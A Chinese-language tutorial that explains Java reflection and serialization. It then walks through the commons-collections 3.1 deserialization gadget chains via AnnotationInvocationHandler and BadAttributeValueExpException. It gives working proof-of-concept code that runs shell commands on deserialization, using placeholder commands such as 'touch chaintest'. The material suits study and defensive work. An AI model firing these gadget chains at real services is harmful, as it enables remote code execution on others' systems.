Java反序列化学习
1.JAVA反射
在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。详细请戳
创建一个User类来进行测试,一个对象能被序列化、反序列化,必须实现Serializable,否则报错
public class User implements Serializable {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
System.out.println("create user done");
}
public String getName() {
return this.name;
}
public int getAge() {
return this.age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
}
基本的java反射用法
获取类的Class对象class(描述类的对象)(类字节码)
Class cls1 = Class.forName("com.test.User");
Class cls2 = com.test.User.class;
User user1 = new User("test",18);
Class cls3 = user1.getClass();
cls1 cls2 cls3的值均为class com.test.User
将类字节码实例化,便能调用对象中的方法
Constructor constructor = cls1.getConstructor(String.class,int.class);
User user= (User) constructor.newInstance("test",18);
System.out.println(user.getName());
获取对象中方法并用invoke执行
Method method1 = cls1.getMethod("getName");
method1.invoke(user);
Method method2 = cls1.getMethod("setAge", int.class);
method2.invoke(user,21);
获取成员变量
//获取成员变量
Field field = cls1.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "test");
//获取全部成员变量
Field[] fields = cls1.getDeclaredFields();
for (Field i:fields)
{
i.setAccessible(true);
System.out.println(i.getName()+":"+i.get(user));
}
2.JAVA序列化与反序列化
序列化:把对象转换成字节流,方便持久化保存
反序列化:把序列化后的字节流还原成对象
序列化和反序列化的对象必须实现Serializable接口
//实例化类
User test = new User("test",21);
//创建输出流
ByteArrayOutputStream op = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(op);
//将对象test序列化为字节数组
ops.writeObject(test);
byte [] testobj = op.toByteArray();
//创建输入流
ByteArrayInputStream in = new ByteArrayInputStream(testobj);
ObjectInputStream ins = new ObjectInputStream(in);
//将保存在内存中的字节输入反序列化
User test2 = (User) ins.readObject();
3.漏洞分析
将前面的user类做个小小的改写,重写Serializable接口的readObject方法,在反序列化过程中echo命令将会被执行
public class User implements Serializable {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
System.out.println("create user done");
}
public String getName() {
return this.name;
}
public int getAge() {
return this.age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Process p = Runtime.getRuntime().exec("echo cmdexec");
//取得命令结果的输出流
InputStream fis = p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr = new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br = new BufferedReader(isr);
String line = null;
//直到读完为止
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
又抛出一个问题,为什么重写readObject,在反序列化的过程中会导致命令被执行
调试过程中发现,在反序列化过程中,调用了重写过后的readObject方法导致命令执行
如何利用?控制代码中的readObject方法是不现实的。那么要寻找一些类readObject方法被重写,并且我们可以控制readObject中参数,这样就能导致我们的代码被执行。比较幸运的是,很多类都重写了readObject方法。下面分析一个比较经典的利用。AnnotationInvocationHandler、BadAttributeValueExpException类配合Apache commons-collections反射链来触发命令执行。
3.1 Apache commons-collections
该pop(反射链)也就是ysoserial中的CommonsCollections1
InvokerTransformer等危险类在3.2.2版本中已经不能序列化、反序列化,利用commons-collections 3.1版本进行分析。
下载地址
3.1.1 ConstantTransformer
ConstantTransformer,调用该类的transform方法返回传入对象本身。
以下代码输出class java.lang.Runtime
ConstantTransformer trans1= new ConstantTransformer(Runtime.class);
System.out.println(trans1.transform(java.lang.Class.class));
输出如下
3.1.2 InvokerTransformer
InvokerTransformer,其transform方法能通过invoke执行输入的对象。
能执行我们输入的东西,就是关注点。
3.1.3 ChainedTransformer
ChainedTransformer,它的transform方法能调用链中所有的transform方法,并且将前一个transform的输出作为当前transform的输入。
3.1.4 TransformedMap.decorate()
在Apache commons-collections中,存在TransformedMap.decorate()方法。decorate()传入一个map,当map中的任意元素被修改删除或新增元素时,都会调用传入的valueTransformer的transform方法进行特定变换
Map<String, Object> m = TransformedMap.decorate(test, null, chain);
TransformedMap.decorate()方法可以返回一个TransformedMap实例
3.1.5 LazyMap
在Apache commons-collections中,也存在LazyMap。当调用get方法时,会触发transform方法
这几个类,后面会用到。
3.2 构造POP
3.2.1 AnnotationInvocationHandler
先来分析一下ChainedTransform构造。我们可以通过构造一个ChainedTransformer,然后再调用TransformedMap.decorate()方法,传入任意map和我们刚刚构造的chain。这样就可以使map中任意元素改变时自动触发ChainedTransformer的transform方法,导致我们的攻击链被执行。
具体实现代码如下:
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch chaintest"})
};
Transformer chain = new ChainedTransformer(trans);
Map<String, String> test = new HashMap<String, String>();
test.put("value", "anything");
Map<String, Object> m = TransformedMap.decorate(test, null, chain);
for (Map.Entry<String, Object> entry:m.entrySet()){
entry.setValue("anything");
}
编译执行此段代码,直接会导致我们的touch命令被执行。仔细分析下反射链trans是如何构造的。直接调用transform方法下断点跟踪一下。chain.transform可以传入任意对象,随便传入一个字符串。
进入ChainedTransformer的transform方法中
执行第一个transform,返回了传入的Runtime.class
执行第二个transform,相当于执行java.lang.Class.getMethod(“getRuntime”,null); 返回java.lang.Runtime.getRuntime()这个方法(注意是返回的这个方法,不是执行了getRuntime())
执行第三个transform,相当于执行Runtime.class.getMethod(“getRuntime”,null).invoke(null)返回了Runtime实例
执行第四个transform,调用了exec,执行命令,返回具体进程
结合具体的的方法分析
第一次执行transform(“test”)比较简单
return Runtime.class
之后都是调用InvokerTransformer
过程用伪代码来分析一下
第二次执行transform(Runtime.class)
Runtime.class.getClass() // Class.class
//执行getMethod(getRuntime())
Class.class.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class,new Object[]{"getRuntime", new Class[0]})
//返回的是方法,方法也是对象,此处对象类型为java.lang.reflect.Method
return java.lang.Runtime.getRuntime方法
第三次执行transform(java.lang.Runtime.getRuntime())
java.lang.Runtime.getRuntime方法.getClass() //java.lang.reflect.Method.class
//Runtime.getMethod("getRuntime").invoke(null)执行了java.lang.Runtime.getRuntime()
java.lang.reflect.Method.class.getMethod("invoke",new Class[]{Object.class, Object[].class).invoke(java.lang.Runtime.getRuntime方法,new Object[]{null, new Object[0]})
return Runtime实例
第四次执行transform(Runtime实例)
Runtime实例.getClass() //java.lang.Runtime
java.lang.Runtime.getMethod("exec",new Class[]{String.class}).invoke(Runtime实例,new Object[]{"touch chaintest"}))
//成功运行命令
那么问题来了,为何不使用更简单的调用方式执行命令
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"whoami"})
};
Runtime实例.getClass() //java.lang.Runtime
java.lang.Runtime.getMethod("exec",new Class[]{String.class}).invoke(Runtime实例,new Object[]{"whoami"})
因为传入的是个Runtime实例,但是Runtime这个类没有实现Serializable接口,不能被反序列化,所以就必须构造反射链
AnnotationInvocationHandler可以出场了。有了反射链,还需要一个正常的类在反序列化时触发我的反射链,这个类需重写readObject。
AnnotationInvocationHandler在readObject里会对map进行setValue操作,会直接触发我们构造的transform链
但利用条件jdk<=jdk8u60,大于该版本的已经无setValue方法
POC代码:
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}), //new Object[]{null, null}
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch chaintest"})
};
Transformer chain = new ChainedTransformer(trans);
Map map = new HashMap();
map.put("value", "value");
Map m = TransformedMap.decorate(map, null, chain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, m);
//创建输出流
ByteArrayOutputStream op = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(op);
//将对象test序列化为字节数组
ops.writeObject(deserobj);
byte [] testobj = op.toByteArray();
//创建输入流
ByteArrayInputStream in = new ByteArrayInputStream(testobj);
ObjectInputStream ins = new ObjectInputStream(in);
//将保存在内存中的字节反序列化
AnnotationInvocationHandler deserobjsr2 = (AnnotationInvocationHandler) ins.readObject();
3.2.2 BadAttributeValueExpException
高版本再看一下另一个类BadAttributeValueExpException的readObject,其toString()成了突破口
为了配合BadAttributeValueExpException还需要了解两个类
TiedMapEntry toString()时会执行getValue()
执行getValue()时会执行map.get方法
而在LazyMap中,执行get方法,会执行transform方法
由于我们构造了BadAttributeValueExpException类型的对象,执行toString()时,便会触发transform导致rce
BadAttributeValueExpException readObjec =>TiedMapEntry getValue =>LazyMap get => ChainedTransformer transform
以下代码,反序列化时就会执行touch命令
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}), //new Object[]{null, null}
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch chaintest"})
};
Transformer chain = new ChainedTransformer(trans);
final Map m = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(m, "test");
BadAttributeValueExpException deserobj = new BadAttributeValueExpException(null);
Field valfield = deserobj.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(deserobj, entry);
//创建输出流
ByteArrayOutputStream op = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(op);
//将对象test序列化为字节数组
ops.writeObject(deserobj);
byte [] testobj = op.toByteArray();
//创建输入流
ByteArrayInputStream in = new ByteArrayInputStream(testobj);
ObjectInputStream ins = new ObjectInputStream(in);
//将保存在内存中的字节输入反序列化
BadAttributeValueExpException deserobjsr2 = (BadAttributeValueExpException) ins.readObject();
参考
[1]:浅析Java序列化和反序列化
[2]:Java反序列化漏洞从无到有
[3]:Java反序列化漏洞的原理分析
未完待续…